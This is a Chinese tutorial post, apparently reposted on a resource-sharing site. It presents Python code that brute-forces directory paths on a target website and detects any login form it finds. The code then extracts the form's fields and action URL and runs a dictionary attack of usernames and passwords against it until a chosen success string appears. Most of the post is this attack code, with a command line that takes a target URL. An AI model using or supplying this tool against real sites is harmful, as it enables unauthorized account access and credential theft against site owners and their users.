python遍历路径破解表单的示例

首先是利用python遍历路径,采用字典爆破的形式,当然如果只是单纯的爆破路径,简单写一个多线程脚本就行了。这里考虑如何对爆破到的路径进行第二步利用,此处尝试对猜解到的路径进行表单发现及登陆爆破处理。

首先就是路径爆破,采用多线程队列,爆破路径,判断形式为200响应码。

    while not self._queue.empty():
      queue = self._queue.get(timeout=0.5)
      try:
        r = requests.get(self.url+queue,timeout=5, headers=self.headers)
        if r.status_code == 200:
          print \"[200] %s\" %(queue)
          soup = BeautifulSoup(r.content,\'html.parser\')
          if soup.find(\'form\'):
            self.brute(soup, queue)

猜解到路径后交给brute方法处理,方法实现了一个css选择器,获取form表单中的input字段标签,提取标签参数组合成post参数值,然后提取表单中的action跳转页面,如没有页面默认在当前表单页提交。

input = soup.select(\"form input\")
      for i in input:
        try:
          if i.attrs[\'type\'] == \"hidden\":
            name, value = i.attrs[\'name\'], i.attrs[\'value\']
            list_post.append(name+\'=\'+value)
          elif i.attrs[\'type\'] == \'password\':
            name = i.attrs[\'name\']
            list_post.append(name+\'=$$$\')
          else:
            name = i.attrs[\'name\']
            list_post.append(name+\'=%%%\')
        except:
          continue
      for i in list_post:
        post = post + i + \'&\'
      action = soup.find_all(\'form\')
      for i in action:
        if i[\'action\']:
          actiontag = i[\'action\']
        else:
          actiontag = queue
      self.payload(post, actiontag)

获取参数值后,交给payload方法处理登陆,采用requests库的session登陆。获取cookie,先采用session请求获取cookie后,再采用session携带cookie进行请求提交。然后对输入的验证值进行判断是否为登陆成功。

    for name in self.username():
      post_user = post.replace(\'%%%\',name.strip())
      for pwd in self.password():
        post_pwd = post_user.replace(\'$$$\',pwd.strip())
        session = requests.Session()
        session.get(self.url+\'/\'+action, headers=self.headers, verify=False)
        r = session.post(self.url+\'/\'+action, data=post_pwd, headers=self.headers, verify=False)
        if self.word in r.content:
          print \'[username] %s\' %name +\'\\r\' + \'[password] %s\' %pwd
          return

为了判断是否登陆成功,采用的人为输入判断字符串的形式。也就是脚本执行形式为

python xxx.py http://xxxx.com xxxxx

以上就是python遍历路径破解表单的示例的详细内容,更多关于python 破解表单的资料请关注免费资源网其它相关文章!

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容